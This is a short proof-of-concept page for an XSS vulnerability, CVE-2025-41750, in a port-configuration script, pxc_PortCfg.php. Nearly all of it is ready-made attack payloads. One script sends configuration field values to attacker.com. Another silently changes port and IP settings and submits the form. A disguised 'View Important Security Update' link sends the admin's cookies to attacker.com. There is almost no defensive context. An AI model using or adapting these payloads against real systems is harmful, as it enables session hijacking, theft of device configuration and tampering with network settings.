CVE-2025-41750 pxc_PortCfg.php 跨站脚本(XSS)漏洞

<!-- CVE-2025-41750 XSS PoC --> <!-- 恶意链接构造示例 --> <!-- 基本XSS Payload --> <a href="http://target-host/pxc_PortCfg.php?param=<script>alert('XSS')</script>">Click me</a> <!-- 窃取配置参数的XSS Payload --> <script> // 获取页面中的配置参数 var configs = document.querySelectorAll('input[name*="cfg"]'); var stolenData = []; configs.forEach(function(input) { stolenData.push(input.value); }); // 发送到攻击者控制的服务器 var exfil = new Image(); exfil.src = "http://attacker.com/log?data=" + btoa(JSON.stringify(stolenData)); </script> <!-- 修改配置参数的XSS Payload --> <script> // 遍历所有可编辑的输入框 var inputs = document.querySelectorAll('input[type="text"], select'); inputs.forEach(function(input) { // 检查是否为关键配置参数 if (input.name.includes('port') || input.name.includes('ip')) { // 修改为攻击者指定的值 input.value = 'malicious_value'; } }); // 自动提交表单 var form = document.querySelector('form'); if (form) { form.submit(); } </script> <!-- 完整的社会工程攻击链接 --> <!-- 建议管理员点击此链接查看'重要安全更新' --> <a href="http://target-host/pxc_PortCfg.php?port=<img src=x onerror='fetch("http://attacker.com/steal?cookie="+document.cookie)'>">View Important Security Update</a>